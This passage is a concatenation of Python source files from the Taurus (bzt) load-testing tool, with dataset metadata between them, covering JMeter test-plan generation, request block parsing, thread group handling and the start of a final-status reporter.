assertion.get('ignore-whitespace', True),\n assertion.get('use-tolerant-parser', False),\n assertion.get('invert', False))\n children.append(component)\n children.append(etree.Element(\"hashTree\"))\n\n @staticmethod\n def __add_jsr_elements(children, req):\n \"\"\"\n :type children: etree.Element\n :type req: Request\n \"\"\"\n jsrs = req.config.get(\"jsr223\", [])\n if not isinstance(jsrs, list):\n jsrs = [jsrs]\n for idx, _ in enumerate(jsrs):\n jsr = ensure_is_dict(jsrs, idx, default_key='script-text')\n lang = jsr.get(\"language\", \"groovy\")\n script_file = jsr.get(\"script-file\", None)\n script_text = jsr.get(\"script-text\", None)\n if not script_file and not script_text:\n raise TaurusConfigError(\"jsr223 element must specify one of 'script-file' or 'script-text'\")\n parameters = jsr.get(\"parameters\", \"\")\n execute = jsr.get(\"execute\", \"after\")\n\n cache_key = str(jsr.get(\"compile-cache\", True)).lower()\n\n children.append(JMX._get_jsr223_element(lang, script_file, parameters, execute, script_text, cache_key))\n children.append(etree.Element(\"hashTree\"))\n\n def __gen_requests(self, scenario):\n requests = scenario.get_requests(parser=HierarchicRequestParser)\n elements = []\n for compiled in self.compile_requests(requests):\n elements.extend(compiled)\n return elements\n\n def compile_scenario(self, scenario):\n elements = []\n for _, protocol in iteritems(self.protocol_handlers):\n elements.extend(protocol.get_toplevel_elements(scenario))\n elements.extend(self.__gen_authorization(scenario))\n elements.extend(self.__gen_datasources(scenario))\n elements.extend(self.__gen_requests(scenario))\n return elements\n\n def compile_request(self, request):\n \"\"\"\n\n :type request: HierarchicHTTPRequest\n :return:\n \"\"\"\n sampler = children = None\n protocol_name = request.priority_option('protocol', default=self.default_protocol)\n if protocol_name in self.protocol_handlers:\n protocol = self.protocol_handlers[protocol_name]\n sampler, children = protocol.get_sampler_pair(self.scenario, request)\n\n if sampler is None:\n self.log.warning(\"Problematic request: %s\", request.config)\n raise TaurusInternalException(\"Unable to handle request, please review missing options\")\n\n self.__add_think_time(children, request)\n\n self.__add_assertions(children, request)\n\n timeout = ProtocolHandler.safe_time(request.priority_option('timeout'))\n if timeout is not None:\n children.append(JMX._get_dur_assertion(timeout))\n children.append(etree.Element(\"hashTree\"))\n\n self.__add_extractors(children, request)\n\n self.__add_jsr_elements(children, request)\n\n return [sampler, children]\n\n def compile_if_block(self, block):\n elements = []\n\n # TODO: pass jmeter IfController options\n if_controller = JMX._get_if_controller(block.condition)\n then_children = etree.Element(\"hashTree\")\n for compiled in self.compile_requests(block.then_clause):\n for element in compiled:\n then_children.append(element)\n elements.extend([if_controller, then_children])\n\n if block.else_clause:\n inverted_condition = \"!(\" + block.condition + \")\"\n else_controller = JMX._get_if_controller(inverted_condition)\n else_children = etree.Element(\"hashTree\")\n for compiled in self.compile_requests(block.else_clause):\n for element in compiled:\n else_children.append(element)\n elements.extend([else_controller, else_children])\n\n return elements\n\n def compile_once_block(self, block):\n elements = []\n\n once_controller = JMX._get_once_controller()\n children = etree.Element(\"hashTree\")\n for compiled in self.compile_requests(block.requests):\n for element in compiled:\n children.append(element)\n elements.extend([once_controller, children])\n\n return elements\n\n def compile_loop_block(self, block):\n elements = []\n\n loop_controller = JMX._get_loop_controller(block.loops)\n children = etree.Element(\"hashTree\")\n for compiled in self.compile_requests(block.requests):\n for element in compiled:\n children.append(element)\n elements.extend([loop_controller, children])\n\n return elements\n\n def compile_while_block(self, block):\n elements = []\n\n controller = JMX._get_while_controller(block.condition)\n children = etree.Element(\"hashTree\")\n for compiled in self.compile_requests(block.requests):\n for element in compiled:\n children.append(element)\n elements.extend([controller, children])\n\n return elements\n\n def compile_foreach_block(self, block):\n \"\"\"\n :type block: ForEachBlock\n \"\"\"\n\n elements = []\n\n controller = JMX._get_foreach_controller(block.input_var, block.loop_var)\n children = etree.Element(\"hashTree\")\n for compiled in self.compile_requests(block.requests):\n for element in compiled:\n children.append(element)\n elements.extend([controller, children])\n\n return elements\n\n def compile_transaction_block(self, block):\n elements = []\n controller = JMX._get_transaction_controller(block.name,\n block.priority_option('force-parent-sample', False),\n block.include_timers)\n children = etree.Element(\"hashTree\")\n for compiled in self.compile_requests(block.requests):\n for element in compiled:\n children.append(element)\n elements.extend([controller, children])\n return elements\n\n def compile_include_scenario_block(self, block):\n elements = []\n controller = JMX._get_simple_controller(block.scenario_name)\n children = etree.Element(\"hashTree\")\n scenario = self.executor.get_scenario(name=block.scenario_name)\n for element in self.compile_scenario(scenario):\n children.append(element)\n elements.extend([controller, children])\n return elements\n\n def compile_action_block(self, block):\n \"\"\"\n :type block: ActionBlock\n :return:\n \"\"\"\n actions = {\n 'stop': 0,\n 'pause': 1,\n 'stop-now': 2,\n 'continue': 3,\n }\n targets = {'current-thread': 0, 'all-threads': 2}\n action = actions[block.action]\n target = targets[block.target]\n duration = 0\n if block.duration is not None:\n duration = int(block.duration * 1000)\n test_action = JMX._get_action_block(action, target, duration)\n children = etree.Element(\"hashTree\")\n self.__add_jsr_elements(children, block)\n return [test_action, children]\n\n @staticmethod\n def compile_set_variables_block(block):\n set_var_action = JMX.get_set_var_action(block.mapping)\n hashtree = etree.Element(\"hashTree\")\n return [set_var_action, hashtree]\n\n def compile_requests(self, requests):\n if self.request_compiler is None:\n self.request_compiler = RequestCompiler(self)\n compiled = []\n for request in requests:\n compiled.append(self.request_compiler.visit(request))\n self.request_compiler.clear_path_cache()\n return compiled\n\n def __generate(self):\n \"\"\"\n Generate the test plan\n \"\"\"\n\n thread_group = JMX.get_thread_group(testname=self.executor.label)\n thread_group_ht = etree.Element(\"hashTree\", type=\"tg\")\n\n # NOTE: set realistic dns-cache and JVM prop by default?\n self.request_compiler = RequestCompiler(self)\n for element in self.compile_scenario(self.scenario):\n thread_group_ht.append(element)\n\n results_tree = self._get_results_tree()\n results_tree_ht = etree.Element(\"hashTree\")\n\n self.append(self.TEST_PLAN_SEL, thread_group)\n self.append(self.TEST_PLAN_SEL, thread_group_ht)\n self.append(self.TEST_PLAN_SEL, results_tree)\n self.append(self.TEST_PLAN_SEL, results_tree_ht)\n\n def save(self, filename):\n \"\"\"\n Generate test plan and save\n\n :type filename: str\n \"\"\"\n # NOTE: bad design, as repetitive save will duplicate stuff\n self.__generate()\n super(JMeterScenarioBuilder, self).save(filename)\n\n @staticmethod\n def __gen_authorization(scenario):\n \"\"\"\n Generates HTTP Authorization Manager\n\n \"\"\"\n elements = []\n authorizations = scenario.get(\"authorization\")\n if authorizations:\n clear_flag = False\n\n if isinstance(authorizations, dict):\n if \"clear\" in authorizations or \"list\" in authorizations: # full form\n clear_flag = authorizations.get(\"clear\", False)\n authorizations = authorizations.get(\"list\", [])\n else:\n authorizations = [authorizations] # short form\n\n if not isinstance(authorizations, list):\n raise TaurusConfigError(\"Wrong authorization format: %s\" % authorizations)\n\n auth_manager = JMX.get_auth_manager(authorizations, clear_flag)\n elements.append(auth_manager)\n elements.append(etree.Element(\"hashTree\"))\n\n return elements\n\n def __gen_datasources(self, scenario):\n sources = scenario.get(\"data-sources\")\n if not sources:\n return []\n if not isinstance(sources, list):\n raise TaurusConfigError(\"data-sources '%s' is not a list\" % sources)\n elements = []\n for idx, source in enumerate(sources):\n source = ensure_is_dict(sources, idx, \"path\")\n source_path = source[\"path\"]\n\n delimiter = source.get(\"delimiter\")\n\n if has_variable_pattern(source_path):\n msg = \"Path to CSV contains JMeter variable/function, can't check for file existence: %s\"\n self.log.warning(msg, source_path)\n if not delimiter:\n delimiter = ','\n self.log.warning(\"Can't detect CSV dialect, default delimiter will be '%s'\", delimiter)\n else:\n source_path = self.executor.engine.find_file(source_path)\n if not os.path.isfile(source_path):\n raise TaurusConfigError(\"data-sources path not found: %s\" % source_path)\n if not delimiter:\n delimiter = self.__guess_delimiter(source_path)\n\n config = JMX._get_csv_config(source_path, delimiter, source.get(\"quoted\", False), source.get(\"loop\", True),\n source.get(\"variable-names\", \"\"))\n elements.append(config)\n elements.append(etree.Element(\"hashTree\"))\n return elements\n\n def __guess_delimiter(self, path):\n with open(path) as fhd:\n header = fhd.read(4096) # 4KB is enough for header\n try:\n delimiter = guess_csv_dialect(header).delimiter\n except BaseException as exc:\n self.log.debug(traceback.format_exc())\n self.log.warning('CSV dialect detection failed (%s), default delimiter selected (\",\")', exc)\n delimiter = \",\" # default value\n\n return delimiter\n", "id": "6372841", "language": "Python", "matching_score": 5.533803939819336, "max_stars_count": 0, "path": "bzt/jmx/tools.py" }, { "content": "\"\"\"\nCopyright 2017 BlazeMeter Inc.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\"\"\"\nimport logging\nimport traceback\nimport mimetypes\nimport re\n\nfrom bzt import TaurusConfigError, TaurusInternalException\nfrom bzt.utils import ensure_is_dict, dehumanize_time\n\nVARIABLE_PATTERN = re.compile(\"\\${.+\\}\")\n\n\ndef has_variable_pattern(val):\n return bool(VARIABLE_PATTERN.search(val))\n\n\nclass Request(object):\n NAME = \"request\"\n\n def __init__(self, config, scenario=None):\n self.config = config\n self.scenario = scenario\n\n def priority_option(self, name, default=None):\n val = self.config.get(name, None)\n if val is None:\n val = self.scenario.get(name, None)\n if val is None and default is not None:\n val = default\n return val\n\n\nclass HTTPRequest(Request):\n NAME = \"request\"\n\n def __init__(self, config, scenario, engine, pure_body_file=False):\n self.engine = engine\n self.log = self.engine.log.getChild(self.__class__.__name__)\n super(HTTPRequest, self).__init__(config, scenario)\n msg = \"Option 'url' is mandatory for request but not found in %s\" % config\n self.url = self.config.get(\"url\", TaurusConfigError(msg))\n self.label = self.config.get(\"label\", self.url)\n self.method = self.config.get(\"method\", \"GET\")\n if not has_variable_pattern(self.method):\n self.method = self.method.upper()\n\n # TODO: add method to join dicts/lists from scenario/request level?\n self.headers = self.config.get(\"headers\", {})\n\n self.keepalive = self.config.get('keepalive', None)\n self.timeout = self.config.get('timeout', None)\n self.think_time = self.config.get('think-time', None)\n self.follow_redirects = self.config.get('follow-redirects', None)\n self.body = self._get_body(pure_body_file=pure_body_file)\n\n def _get_body(self, pure_body_file=False):\n # todo: if self.method not in (\"PUT\", \"POST\")?\n body = self.config.get('body', None)\n body_file = self.config.get('body-file')\n if body_file:\n if body:\n self.log.warning('body and body-file fields are found, only first will take effect')\n else:\n if not pure_body_file:\n body_file_path = self.engine.find_file(body_file)\n with open(body_file_path) as fhd:\n body = fhd.read()\n\n return body\n\n\nclass HierarchicHTTPRequest(HTTPRequest):\n def __init__(self, config, scenario, engine):\n super(HierarchicHTTPRequest, self).__init__(config, scenario, engine, pure_body_file=True)\n self.upload_files = self.config.get(\"upload-files\", [])\n\n if self.method == \"PUT\" and len(self.upload_files) > 1:\n self.upload_files = self.upload_files[:1]\n\n for file_dict in self.upload_files:\n param = file_dict.get(\"param\", None)\n\n if self.method == \"PUT\":\n file_dict[\"param\"] = \"\"\n if self.method == \"POST\" and not param:\n raise TaurusConfigError(\"Items from upload-files must specify parameter name\")\n\n path_exc = TaurusConfigError(\"Items from upload-files must specify path to file\")\n path = str(file_dict.get(\"path\", path_exc))\n if not has_variable_pattern(path): # exclude variables\n path = self.engine.find_file(path) # prepare full path for jmx\n else:\n msg = \"Path '%s' contains variable and can't be expanded. Don't use relative paths in 'upload-files'!\"\n self.log.warning(msg % path)\n\n file_dict[\"path\"] = path\n\n mime = mimetypes.guess_type(file_dict[\"path\"])[0] or \"application/octet-stream\"\n file_dict.get(\"mime-type\", mime, force_set=True)\n self.content_encoding = self.config.get('content-encoding', None)\n\n\nclass IfBlock(Request):\n NAME = \"if\"\n\n def __init__(self, condition, then_clause, else_clause, config):\n super(IfBlock, self).__init__(config)\n self.condition = condition\n self.then_clause = then_clause\n self.else_clause = else_clause\n\n def __repr__(self):\n then_clause = [repr(req) for req in self.then_clause]\n else_clause = [repr(req) for req in self.else_clause]\n return \"IfBlock(condition=%s, then=%s, else=%s)\" % (self.condition, then_clause, else_clause)\n\n\nclass OnceBlock(Request):\n NAME = \"once\"\n\n def __init__(self, requests, config):\n super(OnceBlock, self).__init__(config)\n self.requests = requests\n\n def __repr__(self):\n requests = [repr(req) for req in self.requests]\n return \"OnceBlock(requests=%s)\" % requests\n\n\nclass LoopBlock(Request):\n NAME = \"loop\"\n\n def __init__(self, loops, requests, config):\n super(LoopBlock, self).__init__(config)\n self.loops = loops\n self.requests = requests\n\n def __repr__(self):\n requests = [repr(req) for req in self.requests]\n return \"LoopBlock(loops=%s, requests=%s)\" % (self.loops, requests)\n\n\nclass WhileBlock(Request):\n NAME = \"while\"\n\n def __init__(self, condition, requests, config):\n super(WhileBlock, self).__init__(config)\n self.condition = condition\n self.requests = requests\n\n def __repr__(self):\n requests = [repr(req) for req in self.requests]\n return \"WhileBlock(condition=%s, requests=%s)\" % (self.condition, requests)\n\n\nclass ForEachBlock(Request):\n NAME = \"foreach\"\n\n def __init__(self, input_var, loop_var, requests, config):\n super(ForEachBlock, self).__init__(config)\n self.input_var = input_var\n self.loop_var = loop_var\n self.requests = requests\n\n def __repr__(self):\n requests = [repr(req) for req in self.requests]\n fmt = \"ForEachBlock(input=%s, loop_var=%s, requests=%s)\"\n return fmt % (self.input_var, self.loop_var, requests)\n\n\nclass TransactionBlock(Request):\n NAME = \"transaction\"\n\n def __init__(self, name, requests, include_timers, config, scenario):\n super(TransactionBlock, self).__init__(config, scenario)\n self.name = name\n self.requests = requests\n self.include_timers = include_timers\n\n def __repr__(self):\n requests = [repr(req) for req in self.requests]\n fmt = \"TransactionBlock(name=%s, requests=%s, include-timers=%r)\"\n return fmt % (self.name, requests, self.include_timers)\n\n\nclass IncludeScenarioBlock(Request):\n NAME = \"include-scenario\"\n\n def __init__(self, scenario_name, config):\n super(IncludeScenarioBlock, self).__init__(config)\n self.scenario_name = scenario_name\n\n def __repr__(self):\n return \"IncludeScenarioBlock(scenario_name=%r)\" % self.scenario_name\n\n\nclass RequestParser(object):\n def __init__(self, scenario, engine):\n self.engine = engine\n self.scenario = scenario\n\n def _parse_requests(self, raw_requests, require_url=True):\n requests = []\n for key in range(len(raw_requests)): # pylint: disable=consider-using-enumerate\n req = ensure_is_dict(raw_requests, key, \"url\")\n if not require_url and \"url\" not in req:\n req[\"url\"] = None\n try:\n requests.append(self._parse_request(req))\n except BaseException as exc:\n logging.debug(\"%s\\n%s\" % (exc, traceback.format_exc()))\n raise TaurusConfigError(\"Wrong request:\\n %s\" % req)\n return requests\n\n def _parse_request(self, req):\n return HTTPRequest(req, self.scenario, self.engine)\n\n def extract_requests(self, require_url=True):\n requests = self.scenario.get(\"requests\", [])\n return self._parse_requests(requests, require_url=require_url)\n\n\nclass HierarchicRequestParser(RequestParser):\n def _parse_request(self, req):\n if 'if' in req:\n condition = req.get(\"if\")\n\n # TODO: apply some checks to `condition`?\n then_clause = req.get(\"then\", TaurusConfigError(\"'then' clause is mandatory for 'if' blocks\"))\n then_requests = self._parse_requests(then_clause)\n else_clause = req.get(\"else\", [])\n else_requests = self._parse_requests(else_clause)\n return IfBlock(condition, then_requests, else_requests, req)\n elif 'once' in req:\n do_block = req.get(\"once\", TaurusConfigError(\"operation list is mandatory for 'once' blocks\"))\n do_requests = self._parse_requests(do_block)\n return OnceBlock(do_requests, req)\n elif 'loop' in req:\n loops = req.get(\"loop\")\n do_block = req.get(\"do\", TaurusConfigError(\"'do' option is mandatory for 'loop' blocks\"))\n do_requests = self._parse_requests(do_block)\n return LoopBlock(loops, do_requests, req)\n elif 'while' in req:\n condition = req.get(\"while\")\n do_block = req.get(\"do\", TaurusConfigError(\"'do' option is mandatory for 'while' blocks\"))\n do_requests = self._parse_requests(do_block)\n return WhileBlock(condition, do_requests, req)\n elif 'foreach' in req:\n iteration_str = req.get(\"foreach\")\n match = re.match(r'(.+) in (.+)', iteration_str)\n if not match:\n msg = \"'foreach' value should be in format '<elementName> in <collection>' but '%s' found\"\n raise TaurusConfigError(msg % iteration_str)\n loop_var, input_var = match.groups()\n do_block = req.get(\"do\", TaurusConfigError(\"'do' field is mandatory for 'foreach' blocks\"))\n do_requests = self._parse_requests(do_block)\n return ForEachBlock(input_var, loop_var, do_requests, req)\n elif 'transaction' in req:\n name = req.get('transaction')\n do_block = req.get('do', TaurusConfigError(\"'do' field is mandatory for transaction blocks\"))\n do_requests = self._parse_requests(do_block)\n include_timers = req.get('include-timers')\n return TransactionBlock(name, do_requests, include_timers, req, self.scenario)\n elif 'include-scenario' in req:\n name = req.get('include-scenario')\n return IncludeScenarioBlock(name, req)\n elif 'action' in req:\n action = req.get('action')\n if action not in ('pause', 'stop', 'stop-now', 'continue'):\n raise TaurusConfigError(\"Action should be either 'pause', 'stop', 'stop-now' or 'continue'\")\n target = req.get('target', 'current-thread')\n if target not in ('current-thread', 'all-threads'):\n msg = \"Target for action should be either 'current-thread' or 'all-threads' but '%s' found\"\n raise TaurusConfigError(msg % target)\n duration = req.get('pause-duration', None)\n if duration is not None:\n duration = dehumanize_time(duration)\n return ActionBlock(action, target, duration, req)\n elif 'set-variables' in req:\n mapping = req.get('set-variables')\n return SetVariables(mapping, req)\n else:\n return HierarchicHTTPRequest(req, self.scenario, self.engine)\n\n\nclass ActionBlock(Request):\n def __init__(self, action, target, duration, config):\n super(ActionBlock, self).__init__(config)\n self.action = action\n self.target = target\n self.duration = duration\n\n\nclass SetVariables(Request):\n def __init__(self, mapping, config):\n super(SetVariables, self).__init__(config)\n self.mapping = mapping\n\n\nclass RequestVisitor(object):\n def __init__(self):\n self.path = []\n\n def clear_path_cache(self):\n self.path = []\n\n def record_path(self, path):\n self.path.append(path)\n\n def visit(self, node):\n class_name = node.__class__.__name__.lower()\n visitor = getattr(self, 'visit_' + class_name, None)\n if visitor is not None:\n return visitor(node)\n raise TaurusInternalException(\"Visitor for class %s not found\" % class_name)\n\n\nclass ResourceFilesCollector(RequestVisitor):\n def __init__(self, executor):\n \"\"\"\n :param executor: JMeterExecutor\n \"\"\"\n super(ResourceFilesCollector, self).__init__()\n self.executor = executor\n\n def visit_hierarchichttprequest(self, request):\n files = []\n\n body_file = request.config.get('body-file')\n if body_file:\n files.append(body_file)\n\n uploads = request.config.get('upload-files', [])\n files.extend([x['path'] for x in uploads if not has_variable_pattern(x['path'])])\n\n if 'jsr223' in request.config:\n jsrs = request.config.get('jsr223')\n if isinstance(jsrs, dict):\n jsrs = [jsrs]\n for jsr in jsrs:\n if 'script-file' in jsr:\n files.append(jsr.get('script-file'))\n return files\n\n def visit_ifblock(self, block):\n files = []\n for request in block.then_clause:\n files.extend(self.visit(request))\n for request in block.else_clause:\n files.extend(self.visit(request))\n return files\n\n def visit_loopblock(self, block):\n files = []\n for request in block.requests:\n files.extend(self.visit(request))\n return files\n\n def visit_whileblock(self, block):\n files = []\n for request in block.requests:\n files.extend(self.visit(request))\n return files\n\n def visit_foreachblock(self, block):\n files = []\n for request in block.requests:\n files.extend(self.visit(request))\n return files\n\n def visit_transactionblock(self, block):\n files = []\n for request in block.requests:\n files.extend(self.visit(request))\n return files\n\n def visit_includescenarioblock(self, block):\n scenario_name = block.scenario_name\n if scenario_name in self.path:\n msg = \"Mutual recursion detected in include-scenario blocks (scenario %s)\"\n raise TaurusConfigError(msg % scenario_name)\n self.record_path(scenario_name)\n scenario = self.executor.get_scenario(name=block.scenario_name)\n return self.executor.res_files_from_scenario(scenario)\n\n def visit_actionblock(self, _):\n return []\n\n def visit_setvariables(self, _):\n return []\n", "id": "10166481", "language": "Python", "matching_score": 1.4274638891220093, "max_stars_count": 0, "path": "bzt/requests_model.py" }, { "content": "from bzt.jmx.base import JMX\n\n\nclass AbstractThreadGroup(object):\n XPATH = None\n RAMP_UP_SEL = None\n CONCURRENCY_SEL = None\n\n def __init__(self, element, logger):\n self.element = element\n self.gtype = self.__class__.__name__\n self.log = logger.getChild(self.gtype)\n\n def get_testname(self):\n return self.element.get('testname')\n\n def set_concurrency(self, concurrency=None):\n self.log.warning('Setting of concurrency for %s not implemented', self.gtype)\n\n def set_ramp_up(self, ramp_up=None):\n self.log.warning('Setting of ramp-up for %s not implemented', self.gtype)\n\n def get_duration(self):\n \"\"\"\n task duration or None if getting isn't possible (skipped, timeless, jmeter variables, etc.)\n \"\"\"\n self.log.warning('Getting of duration for %s not implemented', self.gtype)\n\n def get_rate(self, pure=False):\n self.log.warning('Getting of rate for %s not implemented', self.gtype)\n\n def get_iterations(self):\n \"\"\"\n iterations number or None if getting isn't possible (skipped, unsupported, jmeter variables, etc.)\n Note: ConcurrencyThreadGroup and ArrivalsThreadGroup aren't stopped by iterations limit\n \"\"\"\n self.log.warning('Getting of iterations for %s not implemented', self.gtype)\n\n def get_ramp_up(self, pure=False):\n if not self.RAMP_UP_SEL:\n self.log.warning('Getting of ramp-up for %s not implemented', self.gtype)\n return 1\n\n return self._get_val(self.RAMP_UP_SEL, name='ramp-up', default=0, pure=pure)\n\n def get_concurrency(self, pure=False):\n if not self.CONCURRENCY_SEL:\n self.log.warning('Getting of concurrency for %s not implemented', self.gtype)\n return 1\n\n return self._get_val(self.CONCURRENCY_SEL, name='concurrency', default=1, pure=pure)\n\n def _get_val(self, selector, name='', default=None, convertor=int, pure=False):\n element = self.element.find(selector)\n if element is None:\n string_val = None\n else:\n string_val = element.text\n\n if pure:\n return string_val\n\n try:\n return convertor(string_val)\n except (ValueError, TypeError):\n if default:\n msg = \"Parsing {param} '{val}' in group '{gtype}' failed, choose {default}\"\n self.log.warning(msg.format(param=name, val=string_val, gtype=self.gtype, default=default))\n return default\n\n def get_on_error(self):\n action = self.element.find(\".//stringProp[@name='ThreadGroup.on_sample_error']\")\n if action is not None:\n return action.text\n\n\nclass ThreadGroup(AbstractThreadGroup):\n XPATH = 'jmeterTestPlan>hashTree>hashTree>ThreadGroup'\n CONCURRENCY_SEL = \".//*[@name='ThreadGroup.num_threads']\"\n RAMP_UP_SEL = \".//*[@name='ThreadGroup.ramp_time']\"\n\n def get_duration(self):\n sched_sel = \".//*[@name='ThreadGroup.scheduler']\"\n scheduler = self._get_val(sched_sel, \"scheduler\", pure=True)\n\n if scheduler == 'true':\n duration_sel = \".//*[@name='ThreadGroup.duration']\"\n return self._get_val(duration_sel, \"duration\")\n elif scheduler == 'false':\n return self._get_val(self.RAMP_UP_SEL, \"ramp-up\")\n else:\n msg = 'Getting of ramp-up for %s is impossible due to scheduler: %s'\n self.log.warning(msg, (self.gtype, scheduler))\n\n def get_iterations(self):\n loop_control_sel = \".//*[@name='LoopController.continue_forever']\"\n loop_controller = self._get_val(loop_control_sel, name=\"loop controller\", pure=True)\n if loop_controller == \"false\":\n loop_sel = \".//*[@name='LoopController.loops']\"\n return self._get_val(loop_sel, name=\"loops\")\n else:\n msg = 'Getting of ramp-up for %s is impossible due to loop_controller: %s'\n self.log.warning(msg, (self.gtype, loop_controller))\n\n\nclass SteppingThreadGroup(AbstractThreadGroup):\n XPATH = r'jmeterTestPlan>hashTree>hashTree>kg\\.apc\\.jmeter\\.threads\\.SteppingThreadGroup'\n CONCURRENCY_SEL = \".//*[@name='ThreadGroup.num_threads']\"\n\n\nclass UltimateThreadGroup(AbstractThreadGroup):\n XPATH = r'jmeterTestPlan>hashTree>hashTree>kg\\.apc\\.jmeter\\.threads\\.UltimateThreadGroup'\n\n\n# parent of ConcurrencyThreadGroup and ArrivalThreadGroup\nclass AbstractDynamicThreadGroup(AbstractThreadGroup):\n RAMP_UP_SEL = \".//*[@name='RampUp']\"\n\n def _get_time_unit(self):\n unit_sel = \".//*[@name='Unit']\"\n return self._get_val(unit_sel, name=\"unit\", pure=True)\n\n def set_ramp_up(self, ramp_up=None):\n ramp_up_element = self.element.find(self.RAMP_UP_SEL)\n ramp_up_element.text = str(ramp_up)\n\n def get_duration(self):\n hold_sel = \".//*[@name='Hold']\"\n\n hold = self._get_val(hold_sel, name=\"hold\")\n ramp_up = self.get_ramp_up()\n\n # 'empty' means 0 sec, let's detect that\n p_hold = self._get_val(hold_sel, name=\"hold\", pure=True)\n p_ramp_up = self.get_ramp_up(pure=True)\n if hold is None and not p_hold:\n hold = 0\n if ramp_up is None and not p_ramp_up:\n ramp_up = 0\n\n if hold is not None and ramp_up is not None:\n result = hold + ramp_up\n if self._get_time_unit() == 'M':\n result *= 60\n\n return result\n\n def get_iterations(self):\n iter_sel = \".//*[@name='Iterations']\"\n return self._get_val(iter_sel, name=\"iterations\")\n\n\nclass ConcurrencyThreadGroup(AbstractDynamicThreadGroup):\n XPATH = r'jmeterTestPlan>hashTree>hashTree>com\\.blazemeter\\.jmeter\\.threads\\.concurrency\\.ConcurrencyThreadGroup'\n CONCURRENCY_SEL = \".//*[@name='TargetLevel']\"\n\n def set_concurrency(self, concurrency=None):\n concurrency_prop = self.element.find(self.CONCURRENCY_SEL)\n concurrency_prop.text = str(concurrency)\n\n\nclass ArrivalsThreadGroup(AbstractDynamicThreadGroup):\n XPATH = r'jmeterTestPlan>hashTree>hashTree>com\\.blazemeter\\.jmeter\\.threads\\.arrivals\\.ArrivalsThreadGroup'\n RATE_SEL = \".//*[@name='TargetLevel']\"\n\n def get_rate(self, pure=False):\n return self._get_val(self.RATE_SEL, name='rate', default=1, pure=pure)\n\n def set_rate(self, rate=None):\n rate_prop = self.element.find(self.RATE_SEL)\n rate_prop.text = str(rate)\n\n\nclass ThreadGroupHandler(object):\n CLASSES = [ThreadGroup, SteppingThreadGroup, UltimateThreadGroup, ConcurrencyThreadGroup, ArrivalsThreadGroup]\n\n def __init__(self, logger):\n self.log = logger.getChild(self.__class__.__name__)\n\n def groups(self, jmx):\n \"\"\"\n Get wrappers for thread groups that are enabled\n \"\"\"\n for _class in self.CLASSES:\n for group in jmx.get(_class.XPATH):\n if group.get(\"enabled\") != \"false\":\n yield _class(group, self.log)\n\n def convert(self, group, target, load, concurrency):\n \"\"\"\n Convert a thread group to ThreadGroup/ConcurrencyThreadGroup for applying of load\n \"\"\"\n msg = \"Converting %s (%s) to %s and apply load parameters\"\n self.log.debug(msg, group.gtype, group.get_testname(), target)\n on_error = group.get_on_error()\n\n if target == ThreadGroup.__name__:\n new_group_element = JMX.get_thread_group(\n concurrency=concurrency,\n rampup=load.ramp_up,\n hold=load.hold,\n iterations=load.iterations,\n testname=group.get_testname(),\n on_error=on_error)\n elif target == ConcurrencyThreadGroup.__name__:\n new_group_element = JMX.get_concurrency_thread_group(\n concurrency=concurrency,\n rampup=load.ramp_up,\n hold=load.hold,\n steps=load.steps,\n testname=group.get_testname(),\n on_error=on_error)\n else:\n self.log.warning('Unsupported preferred thread group: %s', target)\n return\n\n group.element.getparent().replace(group.element, new_group_element)\n", "id": "6773898", "language": "Python", "matching_score": 1.9770804643630981, "max_stars_count": 0, "path": "bzt/jmx/threadgroups.py" }, { "content": "\"\"\"\nBasics of reporting capabilities\n\nCopyright 2015 BlazeMeter Inc.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\"\"\"\nimport copy\nimport csv\nimport locale\nimport os\nimport sys\nimport time\nfrom collections import Counter, OrderedDict\nfrom datetime import datetime\n\nfrom terminaltables import AsciiTable\n\nfrom bzt import TaurusInternalException, TaurusConfigError\nfrom bzt.engine import Reporter\nfrom bzt.modules.aggregator import DataPoint, KPISet, AggregatorListener, ResultsProvider\nfrom bzt.modules.blazemeter import BlazeMeterUploader, CloudProvisioning\nfrom bzt.modules.functional import FunctionalAggregator, FunctionalAggregatorListener\nfrom bzt.modules.passfail import PassFailStatus\nfrom bzt.six import etree, iteritems, string_types, integer_types\nfrom bzt.utils import get_full_path, is_windows\n\nif is_windows():\n from terminaltables import AsciiTable as SingleTable\nelse:\n from terminaltables import SingleTable\n\n\nclass FinalStatus(Reporter, AggregatorListener, FunctionalAggregatorListener):\n \"\"\"\n A reporter that prints short statistics on test end\n \"\"\"\n\n def __init__(self):\n super(FinalStatus, self).__init__()\n self.last_sec = None\n self.cumulative_results = None\n self.start_time = time.time() # default value\n self.end_time = time.time()\n self.first_ts = float(\"inf\")\n self.last_ts = 0\n\n def startup(self):\n self.start_time = time.time()\n\n def prepare(self):\n super(FinalStatus, self).prepare()\n if isinstance(self.engine.aggregator, ResultsProvider):\n self.engine.aggregator.add_listener(self)\n elif isinstance(self.engine.aggregator, FunctionalAggregator):\n self.engine.aggregator.add_listener(self)\n\n def aggregated_second(self, data):\n \"\"\"\n Just store the latest info\n\n :type data: bzt.modules.aggregator.DataPoint\n \"\"\"\n self.first_ts = min(self.first_ts, data[DataPoint.TIMESTAMP])\n self.last_ts = max(self.last_ts, data[DataPoint.TIMESTAMP])\n self.last_sec = data\n\n def aggregated_results(self, results, cumulative_results):\n \"\"\"\n Just store the latest info\n\n :type cumulative_results: bzt.modules.functional.ResultsTree\n :type results: bzt.modules.functional.ResultsTree\n \"\"\"\n self.cumulative_results = cumulative_results\n\n def shutdown(self):\n self.end_time = time.time()\n\n def post_process(self):\n \"\"\"\n Log basic stats\n \"\"\"\n super(FinalStatus, self).post_process()\n\n if self.parameters.get(\"test-duration\", True):\n self.__report_duration()\n\n if self.last_sec:\n summary_kpi = self.last_sec[DataPoint.CUMULATIVE][\"\"]\n\n if self.parameters.get(\"summary\", True):\n self.__report_samples_count(summary_kpi)\n if self.parameters.get(\"percentiles\", True):\n 